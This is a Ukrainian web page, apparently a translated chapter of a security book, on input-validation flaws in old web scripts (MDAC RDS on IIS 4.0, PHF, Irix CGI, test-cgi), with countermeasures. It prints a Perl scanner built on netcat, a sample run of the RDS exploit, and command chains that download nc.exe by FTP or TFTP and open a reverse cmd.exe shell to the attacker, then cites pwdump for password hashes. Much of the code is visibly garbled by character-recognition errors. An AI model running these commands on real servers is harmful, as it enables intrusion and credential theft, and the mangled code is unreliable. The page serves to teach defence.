LU.NET.UA - Захист інформації в інтернеті

:: Меню ::

Головна
Введення

Частина I.
Вивчення мети

1. Попередній збір даних
2. Сканування
3. Інвентаризація

Частина II.
Уразливість систем

4. Уразливість Windows 95/98/me
5. Уразливість Windows NT
6. Уразливість Windows 2000

Частина III.
Уразливість мереж

9. Уразливість видалених з'єднань, РВХ, Voicemail і віртуальних приватних мереж
10. Мережеві пристрої
11. Брандмауери
12. Атаки DOS

   Частина IV.
Уразливість програмного забезпечення

13. Вади засобів видаленого управління
14. Розширені методи
15. Уразливість в Web
16. Атаки на користувачів Internet
 Братани
Карта сайту
Добавити у вибране

:: Друзі ::

--

:: Статистика ::

 

 

 

 

 


Невідповідність сценаріїв вимогам безпеки: злом за відсутності перевірки введення

Причиною злому за відсутності перевірки введення з використанням загального інтерфейсу шлюзу (CGI — Common Gateway Interface), активних сторінок сервера (ASP — Active Server Pages) і мови розмітки CFML (Cold Fusion Markup Language), є промах або розробника, або постачальника програмного забезпечення. Основна проблема виникає із-за недостатньої обробки вхідних даних деякого сценарію. Якщо не поклопотатися про перевірку достовірності і подальшому очищенню вхідних даних, зломщик зможе передати сценарію потрібний символ, скажімо, локальну команду, як параметр і таким чином локально запустити цю команду на Web-сервере.

Вада MDAC RDS IIS 4.0


Незабаром після того, як компанія Microsoft справилася з проблемою, викликаною програмою iishack, робота якої приводила до переповнювання буфера сервера IIS (це відбулося в червні 1999 року), в липні їй довелося зіткнутися з іншою проблемою, пов'язаною з Web-сервером. Дана проблема була описана в бюлетені компанії Microsoft, присвяченому питанням безпеки, ще в 1998 році, але стала відома широкій громадськості лише останнім часом. Ця вада виникає через нестачу одного з компонентів Microsoft доступу до даних (MDAC — Microsoft Data Access Components) служби RDS (Remote Data Service), який дозволяє зломщикові запускати будь-які команди на уразливому сервері.
Першопричина проблеми полягає в об'єкті Datafactory служби RDS. За умовчанням він дозволяє передавати видалені команди серверу I1s. В цьому випадку команди запускаються з правами ефективного користувача цієї служби, яким зазвичай є користувач SYSTEM (внутрішній користувач, що володіє привілеями адміністратора). Це означає, що зломщик може дістати видалений доступ з правами адміністратора до будь-якого сервера в світі', у якого є така вада.
Для перевірки цієї концепції компанія Rain.forest.puppy розробила свій сценарій на мові Perl (його можна завантажити з Web-узла компанії Security Focus http://vww.securityfocus.com), посилаючий запит RDS в базу даних, яка служить як зразок і називається btcustmr.mdb. Метою запиту є запуск на сервері команди, що вводиться користувачем.
Пошук уразливих серверів в мережі представляється простою завданням. Подивимося, як можна виявити компоненти MDAC служби RDS. За допомогою утиліти netcat і мови Perl можна просканувати підмережі у пошуках ознак уразливого сервера — наявності бібліотеки msadcs, що динамічно підключається.dll. Якщо в результаті обробки HTML-запроса буде отриманий рядок appiication/x-varg, значить, висока вірогідність того (хоча і не на 100%), що дана система уразлива. Нижче для прикладу приведений код на мові Perl, за допомогою якої можна виявити дану ваду.

#!/usr/bin/perl
if ($|ARGV < 0) {
print "Помилка в синтаксиме - спробуйте ще pas.";
print ": mdac.pl 10.1.2.3-255";}
doit($ARGV[0]); foreach $item (@hosts)
{ portscan($item); }
close OUTFILE;
sub doit { $line = $_[0];
if ($line!=/#/) {
if ($line=~/-/) {
Stmp = split/-/ $line;
Ship = split// $tmp[0];
@eip = split// $tmp[lj;
} else
{
@bip = split// $line;
@eip = split// $line; }
$al = $bip[0];
$bl = $bip[l];
$cl = $bip[2];
$dl = $bip[3];
Snum = @eip; if ($num==l)
{ $a2 = $bip[0]
$b2 = $bip[l]
$c2 = $bip[2]
$d2 = $eip[0]
} elsif
($num==2)
{$a2 = $bip[0]
$b2 = $bip[l]
$c2 = $eip[0]
$d2 = $eip[l] }
elsif
($num==3)
{
$a2 = $bip[0]
$b2 = $eip[0]
$c2 = $eip[l]
$d2 = $eip[2]
} elsif
($num== )
{
$a2 = $eip[0]
$b2 '-= $eip[l]
$c2 = $eip[2]
$d2 = $eip[3] }
# Ha базк IP-адреса підмережі (клас A, B, C) задаємо
# коректні значення змінних.
check_end(); $aend=$a2;
# Створення масиву.
while
($al < $aend)
( while ($bl < $bend)
{ while ($cl < $cend)
{ while ($dl < Sdend) {
push (@hosts, "$al.$bl.$cl.$dl">;
$dl+=l;
check_end();
}
$cl+=l;
$dl=0;
}
$bl+=l;
$cl=0;
}
$al+=l; $bl=0; } } }
sub portscan ( my $target = $_[0];
print "Сканується порт $target."; local $/;
open(Scan,"nc -vzn -w 2 $target 80 2»
&1i");
# Порт відкритий
$result = <SCAN>;
if ($result=~/open/)
{
print "\tпорт 80 Ha $target відкритий . \n";
print OUTFILE "порт 80 открит\n";
open (HTTP, ">http.tmp");
print HTTP "GET /msadc/msadcs.dll Http/1.0\n\n";
close HTTP;
open(Scan2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");
$result2 = <Scan2>;
if (Sresult2=~/microsoft-iis4.07)
{
if ($result2=~/x-varg/){
print "
$target уразлива проти атаки MDAC.";
print OUTFILE "$target
може бути уразлива проти атаки &MDAC.";
}
}
close SCAN;
}
}
sub check_end
{
if (($al==$a2) &S ($bl==$b2) &
s ($cl==$c2)) {
$dend=$d2; }
else {
$dend=255; }
if (($al==$a2) &&
($bl==$b2)) {
$cend=$c2; }
else {
$cend=255; }
if ($al= =$a2)
{
$bend=$b2; - }
else {
$bend=255;
}
}

При використанні параметра -n команди netcat потрібний, щоб в командному рядку явно указувалася IP-адрес

"Анатомія" атаки


Сценарій Perl можна знайти на багатьох Web-узлах, зокрема в архіві Ntbugtraq (http://www.ntbugtraq.com) або на вузлі компанії Security Focus (http://www.securityfocus.com). Він працює однаково ефективно як в системі UNIX, так і в NT, і робить спробу встановити зв'язок з компонентами MDAC, щоб додати в запит SQL рядок | shell ($command) |. Коли компонент MDAC досягає команди shell, виконується команда, задана в змінній $ command. Для того, щоб переконатися в наявності описаної можливості, спробуйте запустити команду з наступним синтаксисом.

C:\>perl mdac_exploit.pl -h 192.168.50.11
-- RDS exploit by rain forest puppy/adm/wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt -> з: Success!

Розробка коректної команди для системи NT — непросте завдання. Соміл Шах (Somil Shah) і Нітеш Даньяні (Nitesh Dhanjani) разом з Джорджем Куртцом (George Kurtz) розробили цікаву послідовність команд, які можна завантажити за допомогою TFTP або по FTP. В результаті буде завантажена і запущена утиліта netcat, що повертає назад командну оболонку системи NT (cmd.exe). Наприклад, з використанням засобів FTP можна скористатися наступною послідовністю команд

"cd Systemroot ?& echo $ftp_user>ftptmp
&& echo $ftp_pass»ftptmp
&& echo bin»ftptmp &&
echo get nc. exe»ftptmp
&? echo bye»ftptmp &?
ftp -s:ftptmp $ftp_ip &&
del ftptmp &&
attrib -r nc.exe && nc
-e cmd.exe $my_ip $my_port"

При використанні TFTP аналогічні команди виглядатимуть таким чином

"cd\%systemroot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc -і cmd.exe $my_ip $my_port"

Застосування цих команд в сценарії Perl дозволить повернути командну оболонку видаленої системи, за допомогою якої можна буде завантажити будь-яку кількість файлів, включаючи утиліту pwdump.exe (що дозволяє отримати хэш-коды з бази даних SAM), а потім приступити до злому із застосуванням утиліт L0phtcrack або John vl.6. Якщо команда виявилася непрацездатною, то, не виключено, що на шляху до порту TCP (FTP) з номером 21 або порту UDP (TFTP, 69) цільової системи знаходиться маршрутизатор або брандмауер.

Контрзаходи: захист компонентів Мdас служби RDS


Для того, щоб запобігти таким атакам, або видалите всі файли, використовувані в цьому випадку, або зміните конфігураційні параметри сервера. 

Вади CGI


Мабуть, після переповнювання буфера погано написані сценарії CGI є найбільш небезпечними вадами в Internet. На електронному світі ще можна знайти Web-серверы, розробники яких економили час на програмуванні, а після того, як зломщик пробрався на сервер і навів там свої лади, пошкодували про свій поспіх. У цьому розділі описано декілька найбільш популярних вад сценаріїв CGI, а також наслідки, до яких приводить їх використання.

Сценарії PHF


Можливо, одним з найбільш старих і в наші дні вад, що рідко зустрічаються, є сценарій PHF, який спочатку застосовувався на серверах HTTPD центру NCSA (версія 1.5а-export або раніші) і сервера Apache (версії 1.0.3). Ця програма CGI є прикладом сценарію, що забезпечує інтерфейс у вигляді форм, який можна використовувати для пошуку імен і адрес в адресній книзі. Із-за того що в цьому сценарії для перевірки вхідних даних використовується функція escape_shell_cmd(), він виявляється уразливим для широко поширеної атаки, при якій обманним шляхом вдається локально запускати команди. Символ нового рядка (0х0а в шістнадцятиричній системі числення) не перевіряється при контролі правильності вхідних даних. Тому він може бути використаний для переривання виконання сценарію і запуску будь-якої команди, вказаної після цього символу, в локальному контексті Web-сервера. Наприклад, введення наступної адреси URL приведе до витягання файлу паролів, якщо користувач, що запустив Web-сервер, володіє правами доступу до цього файлу.

Контрзаходи: захист сценаріїв РНР


Запобігання


Краще всього видалите цей сценарій з Web-сервера. Швидше за все, на робочому сервері такий сценарій не потрібний.

Виявлення


Засоби виявлення атак, направлених на використання вади PHF, вбудовані майже в кожну безкоштовну або комерційну систему виявлення вторгнень, так що в цьому випадку вирішити проблему безпеки буде нескладно.

За допомогою програми phfprobe.pl можна привернути зломщиків до свого Web-узлу і зафіксувати виконувані ними дії. В процесі аналізу отриманих даних можна краще продумати стратегію захисту. Дана програма Perl служить як приманка, що імітує сценарій PHF. Вона відправляє зломщикам такі у відповідь повідомлення, дії, що неначе робляться ними, виконуються успішно. На самій же справі здійснюється збір інформації про зломщиків і їх тактику. Цю пастку слід застосовувати тільки при повній упевненості в надійності системи.

Вади CGI системи Irix


Перше повідомлення про ваду CGI системи Irix з'явилося в 1997 році в бюлетені Bugtraq. Новину опублікував Разван Драгоміреську (Razvan Dragomirescu). Він виявив, що до складу підсистеми Outbox Environment багатьох систем Irix входить декілька програм, уразливих для злому за відсутності перевірки введення. Сценарій webdist.cgi, а також сценарії-оболонки систем Irix 5.x і 6.x дозволяють зломщикам передавати локальні команди і запускати їх на видаленому вузлі. 

Контрзаходи проти використання вад CGI систем Irix


Як і раніше, якщо сценарій не застосовується, краще всього видалити його з системи і тим самим запобігти можливості використання його вад. Якщо ж видалити сценарій неможливо, скористайтеся модулем оновлення SGI, який можна знайти за адресою http://www.sgi.com/support/patch_intro.html.

test-cgi


Вперше про цю ваду широкої громадськості повідомила група L0pht в 1996 році. З його використанням зломщик може видалено отримувати інформацію про файли, які є на цільовому вузлі. Наприклад, використовуючи наступний URL, зломщик може проглянути список всіх файлів і каталогів, які містяться в каталозі сценаріїв (egi -bin).

http://192.168.51.101/cgi-bin/test-cgi?*

 В результаті на екран буде виведено значення змінної оточення Query_string.

Query_string = count.cgi createuser.pl nph-test-cgi phf php.cgi
search.pl
test-cgi wwwcount.cgi

Звичайно ж, отримання переліку наявних в системі сценаріїв допоможе зломщикові знайти інші слабкі місця, через які можна буде дістати доступ до Web-серверу, наприклад PHF, PHP і так далі Ця інформація відкриє зломщикові доступ до видаленого вузла з правами користувача або навіть суперкористувача, а згодом він доб'ється контролю над всією системою UNIX.

Контрзаходи проти використання вад Ссi


Якщо звичайне вирішення проблеми (видалення сценарію) по яких-небудь причинах реалізувати не можна, варто звернутися до деяких ресурсів Internet, в яких можна знайти раді з безпечного написання сценаріїв.




:: Реклама ::

>Страница статей


:: Посилання ::

-

https://werstey.ru

:: Рекомендуємо ::

-


 

 

 

 


Copyright © Klab-F 2008